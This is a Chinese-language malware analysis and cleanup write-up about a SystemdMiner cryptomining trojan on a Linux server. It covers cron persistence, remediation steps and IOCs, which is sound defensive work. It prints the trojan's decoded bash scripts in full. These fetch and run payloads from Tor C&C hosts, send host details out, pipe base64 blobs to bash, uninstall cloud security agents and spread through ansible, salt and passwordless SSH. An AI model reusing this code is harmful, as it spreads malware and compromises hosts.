|
SystemedMiner挖矿木马分析处置登陆到受害主机去查看一下,查看下进程CPU使用率正常,并无挖矿迹象
编辑
(要注意的是区分系统进程和木马进程,因为很多木马的进程都是以随机字符名称出现的,例如kswapd1和kswapd0也比较类似,但是这两个进程是系统进程,所以不要混淆,在删进程前要先查询一下其作用,其实如果挖矿进程在跑的话,很容易便会发现其进程PID和名称)
通常挖矿木马都会去写一个计划任务,来防止挖矿进程被删掉,这里看了一位大师傅的溯源分析,提到了cron在执行时,会读取三个地方的配置文件:一是/etc/crontab,二是/etc/cron.d目录下的所有文件,三是每个用户的配置文件,所以挖矿木马可能会有多个定时任务存在
crontab -l
编辑
ls /etc/cron.d/
编辑
发现其文件名称都包含uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0,直接匹配关键字也可以
find / 2>/dev/null | grep uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0服务器中存在两个定时任务,查看一下里面的内容两个文件内容一致,且内容为base64编码,先对其进行解码处理,而且virustotal判断为恶意文件
编辑
分析一下:
uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0exec &>/dev/null #不输出出错和输出信息export PATH=$PATHHOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin#获取当前用户的家目录d=$(grep x(id -u): /etc/passwd|cut -d: -f6)#获取执行命令c=$(echo "curl -4fsSLkA- -m200")#C&C域名为fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.*t=$(echo "fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad")sockz() {n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)p=$(echo "dns-query?name=relay.tor2socks.in")#代理域名relay.tor2socks.inq=${n[$((RANDOM%${#n[@]}))]}s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1)}#在几个目录路径里寻找一个有读写权限的路径fexe() {for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done}u() {sockzf=/int.$(uname -m)x=./$(date|md5sum|cut -f1 -d-) #用当前时间生成 md5 码r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)#crontab计划任务执行#下载病毒母体,随机方式进行命名,通过socket5的方式用relay.tor2socks.in代理访问C&C域名$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r #若代理失效,则可采用后面的方法#例如:curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it/int.x86_64 -o int.x86_64 -e183.134.110.75chmod +x $x;$x;rm -f $x#运行后删除病毒文件}for h in tor2web.in tor2web.itdo#检查木马是否存在,若不存在则调用fexe测试执行,接着调用u $t.$h 进行木马文件的下载if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; thenfexe;u $t.$h#再次查看进程状态,若没有继续下载木马ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)elsebreakfidonesockz()函数通过doh查询IP,通过这种方法既可以提供加密保护dns查询结果,又可以绕过各大厂商IDS里恶意域名的IOC
https://doh.pub/dns-query?name=relay.tor2socks.in
编辑
经过分析,这个样本的执行的总体流程如下:
- doh解析域名获取tor代理IP
- 查找目标主机可读写的路径
- 通过tor代理在C&C服务器上下载与目标主机硬件版本相匹配的恶意文件
- 开启crontab计划任务并执行
- 根据pid文件返回脚本执行结果并进行判断
根据这个样本的特征查了下资料,发现和SystemdMiner挖矿木马比较类似,特点如下:
- 访问带有tor2web、onion字符串的域名
- 在/tmp目录下有systemd*的文件
- 还有就是中转域名relay.tor2socks.in被微步判定为SystemdMiner挖矿僵尸网络
编辑
并且这个SystemdMiner是一个变种,除了更新了C&C域名,还使用了socks5代理的方式去访问C&C域名从而实现绕过安全网关的目的,其余的特征与以往其他版本类似,通过上面的分析,知道该脚本会将内容写入到/tmp/.X11-unix/文件夹,里面存放着的是进程PID
编辑
通过PID找一下病毒文件位置
ls -l /proc/{PID}/exe发现病毒文件已经都被删除,查看一下00、01这些文件是什么时间创建的,可以对比一下其他机器的时间,找出最早的时间,方便后面的溯源
编辑
看了许多师傅们分析的文章,.X11-unix文件夹下的文件作用如下:
01 文件 守护进程pid
11 文件 病毒运行进程pid
22 文件 可能为SSH爆破进程pid 查看一下01和11的进程状态
1.ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status2.ps -ef|grep 13485 3.lsof -p 1348501通过 lsof 判断,没有发现有外连或打开端口的现象
编辑
再查看11的进程状态,发现有外连
编辑
但是较为奇怪的是,攻击者只是上传了一个守护进程,找不到下载的病毒文件,CPU也没有异常,为了防止出现问题,还是先将定时任务以及进程先杀掉,接下来将病毒文件下载起来在虚拟机执行一下。
虚拟机执行测试
先按照守护进程下载病毒文件的方式,将病毒文件下载起来
$ curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it/int.x86_64 -o int.x86_64 -e183.134.110.75
编辑
执行一下该ELF文件,发现crotab定时任务增加了新的一项任务,且root目录下生成了该任务所指向的新的脚本文件
编辑
查看一下该脚本文件
#!/bin/bashFBGJOndscVOU2PKZGWF8C6kibWnyHLPexec &>/dev/nullexport PATH=$PATHHOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbind=$(grep x(id -u): /etc/passwd|cut -d: -f6)c=$(echo "curl -4fsSLkA- -m200")t=$(echo "4t5ypbzi2kko7tqmk6y345ntpmctwj5jmu3cebxsnonsdljyyfs335ad")#C&C服务器域名前缀不同sockz() {n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)p=$(echo "dns-query?name=relay.tor2socks.in")q=${n[$((RANDOM%${#n[@]}))]}s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1)}fexe() {for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done}u() {sockzf=/int.$(uname -m)x=./$(date|md5sum|cut -f1 -d-)r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$rchmod +x $x;$x;rm -f $x}for h in tor2web.in tor2web.itdoif ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; thenfexe;u $t.$hls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)elsebreakfidone这个脚本和之前服务器存在的那个守护进程脚本功能相同,但和上面服务器的那个脚本对比一下也会发现有两处不同的地方:
- 新脚本文件的C&C服务器域名前缀与前面的不同
- 代码前的字符串不同,之前服务器上的是uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0,而新的脚本文件中则是FBGJOndscVOU2PKZGWF8C6kibWnyHLP,与文件名相同
对该字符串进行一次全局搜索
find / 2>/dev/null | grep FBGJOndscVOU2PKZGWF8C6kibWnyHLP
编辑
发现三个定时任务,查看了一下内容都一致,应该是作为备份文件以防其中某一个被删
查看了深信服千里目安全实验室的文章和此类情况类似,可以从病毒母体ELF文件中逆向分析出5个不同的bash命令,若tor代理可用则可以使用下面的方法去下载出各个模块
curl -4fsSLkA -m200 -x socks5h://92.190.141.62:9050 4t5ypbzi2kko7tqmk6y345cebxsnonsdljyyfs335ad.onion/sshd ntpmctwj5jmu3cebxsnonsdljyyfs335ad.onion/sshd但由于目前还不会IDA逆向调试,而且tor代理IP拒绝连接(用|后面那种方法下载的文件的内容也都是下载SSH爆破脚本,如果继续下载的话也是无法访问),就先使用师傅扒出来源码学习一下
编辑
逆向分析后,可以发现有五个base64编码,分别用于下载不同模块和执行不同的功能,功能如下:
exec &>/dev/nullexport PATH=$PATHHOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbind=$(grep x(id -u): /etc/passwd|cut -d: -f6)x() {if ! ls $d/.systemd-private-*.sh; thengrep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "#\x21/bin/bash\nexec &>/dev/null\necho C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu\necho QzBQZ0Z6MkpIY3Bzd1ZNT0s3WFNIUW9kRE9yQVdJS3UKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAid2FjcG5uc280b3R0eGx5dmpwMmFkYWllYWl2eHgyc2F4b3ltZWRuaWRwM3p5Zm9xZmM1anBxYWQiKQoKc29ja3ooKSB7Cm49KGRvaC50aGlzLndlYi5pZCBkb2gucG9zdC1mYWN0dW0udGsgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgcmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTExKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC1uIDEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d|bash" > $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.shtouch -r /bin/grep $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.shchmod +x $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.shfiif ! ls /opt/systemd-private-*.sh; thengrep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "与上面内容相同|base64 -d|bash" > /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.shtouch -r /bin/grep /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.shchmod +x /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.shfiif ! ls /etc/cron.d/0systemd-private-*; thengrep C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu || echo "$(echo $((RANDOM%59))) * * * * root /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &" > /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKutouch -r /bin/grep /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKufiif ! crontab -l | grep ^[0-9] | grep systemd-private; then(echo "$(echo $((RANDOM%59))) * * * * $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &";crontab -l|grep -v systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh)|crontab -fi}这段代码便是创建定时任务,这段代码共创建三个定时任务
- /etc/cron.d/0systemd-private-*
- /opt/systemd-private-*
- /root/systemd-private-*
而其中的base64代码的任务便是下载母体木马int文件,和上面的守护进程内容一致
- 竞争对手清理:这个脚本的主要作用便是清除服务器上其他的挖矿木马,改写hosts文件让其他挖矿无法访问对应的域名,但是经过查询虚拟机的hosts文件,并没有发现被修改(应该是两种方法下载模块和脚本都失效了,没有下载对应的脚本和模块)
编辑
exec &>/dev/nullexport PATH=$PATHHOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbind=$(grep x(id -u): /etc/passwd|cut -d: -f6)c=$(echo "curl -4fsSLkA- -m200")t=$(echo "5ixhieezozxwnvisopgxoba6ssbsrvdpxeduxb4jc6zx7s56rufrjzad")sockz() {n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)p=$(echo "dns-query?name=relay.tor2socks.in")s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)}fexe() {for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done}isys() { #写入定时任务,并且卸载assist-daemon(阿里云)、qcloud(腾讯云)的入侵检测系统echo ZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOnKICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMK|base64 -d|bashcrontab -l || yum -y install croncrontab -l || yum -y install croniecrontab -l || apt-get update && apt-get -y install cron/usr/local/share/assist-daemon/assist_daemon --stop/usr/local/share/assist-daemon/assist_daemon --delete/usr/local/qcloud/monitor/barad/admin/uninstall.sh/usr/local/qcloud/stargate/admin/uninstall.sh/usr/local/qcloud/YunJing/uninst.sh/etc/init.d/aegis uninstallsystemctl stop aliyunsystemctl disable aliyunsystemctl start cronsystemctl enable cronsystemctl start crondsystemctl enable crondrm -rf /usr/loca/qcloud/ /usr/local/aegis/ /usr/local/share/assist-daemon/ /usr/local/share/aliyun-assist/ /usr/sbin/aliyun-service /usr/sbin/aliyun_installer /etc/systemd/system/aliyun.service}issh() {#利用自动化运维工具ansible、salt、pssh、knife写入定时任务ansible all -m shell -a 'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'knife ssh 'name:*' 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash'salt '*' cmd.run 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash'pssh 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash'#从bash的历史ssh记录中尝试去登录远程设备hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |grep -v ^127.|awk -F: {'print $2'}|sort|uniq)for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l root $h 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash';done for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l $USER $h '与上面的base64编码一致,都是守护进程|base64 -d|bash';done}ibot() {f=/bot r=$(curl -4fsSLk ip.sb||wget -4qO- ip.sb||curl -4fsSLk checkip.amazonaws.com)_$(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0)$c -x socks5h://$s:9050 -e$r $t.onion$f || $c -e$r $1$f}iscn() {pkill -9 -f tracepathf=/trc x=./$(date|md5sum|cut -f1 -d-)$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$xchmod +x $x;$x;rm -f $x}sockzfexeisysissh &ibot $t.tor2web.in || ibot $t.tor2web.itiscn $t.tor2web.in || iscn $t.tor2web.it这个脚本的作用是先将阿里云和腾讯云的入侵检测系统给卸载掉,然后再利用自动化运维工具写入定时任务,最后就是下载两个可执行文件,一个是bot,一个是trc,其中trc文件用于Hadoop Yarn未授权访问漏洞利用(内网横向移动)
病毒母体执行后会下载cpu脚本,以进行挖矿,手动下载一下试试看:
curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cpu -o cpu -e183.134.110.75
编辑
手动执行挖矿脚本的时候要先解除文件的锁定chattr -i cpu,再赋权限运行
编辑
但是在本地也没有运行起来,缺失一些配置文件,可能是因为前面的模块有的没有下载导致。
exec &>/dev/nullexport PATH=$PATHHOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbind=$(grep x(id -u): /etc/passwd|cut -d: -f6)c=$(echo "curl -4fsSLkA- -m200")t=$(echo "i62hmnztfpzwrhjg34m6ruxem5oe36nulzmxcgbdbkiaceubprkta7ad")sockz() {n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)p=$(echo "dns-query?name=relay.tor2socks.in")s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)}u() {sockzf=/cmd$c -x socks5h://$s:9050 $t.onion$f || $c $1$f}(u $t.tor病毒母体执行后会下载cmd脚本,用于当主机网络无法连接到矿池时,会结束掉自身的挖矿进程,增强隐蔽性,但是tor代理失效,暂时无法下载
curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cmd -o cmd -e183.134.110.75如果用这种方法下载的话,很奇怪会得到下载ssh暴力破解的脚本,脚本内容也无法进行下载查看
编辑
归纳梳理
该木马通过bash命令下载执行多个功能模块,通过SSH暴力破解、SSH免密登录利用、Hadoop Yarn未授权访问漏洞和自动化运维工具内网扩散,且该木马的文件下载均利用暗网代理,感染后会清除主机上的其他挖矿木马,以达到资源独占的目的
编辑
通过看师傅们的博客和自己的测试,对目前这个SystemedMiner挖矿木马也有了一定的了解,木马执行后,会下载一系列的模块和可执行脚本,用于持久化、内网横向渗透、挖矿、命令控制、清除一些入侵检测系统和其他挖矿程序,但需要使用tor代理,之所以服务器和虚拟机只有持久化的脚本(守护进程脚本),就是因为病毒母体启动后,tor代理失效,无法下载其他模块和脚本,也就只有一个守护进程脚本。
处置方法
在了解了SystemedMiner挖矿木马感染机器的过程后,防护便一目了然了,它做的主机持久化控制便是通过写定时任务,而定时任务是下载病毒母体并执行,就这样循环来控制主机,所以要清除该病毒文件的话:
- 第一步便是要将定时任务删除完,通过crontab -e移除/root/systemd-private-*,然后再删除/etc/cron.d/0systemd-private-*和/opt/systemd-private-*.sh文件
- 再去查看/tmp/.X11-unix/文件下01、11获取其PID,使用kill -9 进程id,杀死进程
- 更改文件夹权限,再不清楚攻击者从哪里进来的时候,/tmp/.X11-unix/这个文件夹可以进行保留,防止黑客重新写入,但要设置好权限,若服务器中运行了其他的一些模块和脚本,杀相关进程和文件,重复上面的方法即可
#chattr +i [file/directory]使file/directory无法被更动chattr +i /tmp/.X11-unix/01或chmod -R 000 /tmp/.X11-unix/01#查看文件夹权限ls -ld /tmp/.X11-unix/需要注意的一点是:
编辑
这些文件夹其实是系统自带的,主要作用是存储临时文件,只是该挖矿木马利用了这个可读可写的权限,将内容放在里面,在进行清理和溯源的时候要注意区别。
IOCS
守护进程样本hash:
MD5 d61b3ba654ad546cc49d5ace7de0e309
SHA-1 ca852b6b7f5e52a17661456ae37e0e6009c87ac3
SHA-256 7de2aa89cb2f2edf06418ad39d6c516c25bb52a5d1bf62332b0892bc2fa1c3d4
远控样本(int.x86_64)hash:
MD5 7308d194a75c13e464d4a8cc8094bca7
SHA-1 389889090811fb2a4063d03c0ecafb33b8c68b12
SHA-256 7834430c0d7953648e906a679ae6e92d6807305220639df41bff72dceb09e94f
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.onion
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it ——C&C域名
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in ——C&C域名
参考文章
https://www.freebuf.com/articles/system/233138.html
https://bbs.sangfor.com.cn/forum ... read&tid=144683
https://www.freebuf.com/articles/system/225146.html
https://hksanduo.github.io/2021/ ... emd-miner-analysis/
https://www.freebuf.com/articles/web/279000.html
https://zhuanlan.zhihu.com/p/370493577
https://www.codenong.com/cs106872151/cl
http://les1ie.com/2021/07/12/tor-miner/
https://github.com/tor2web/Tor2web
|
|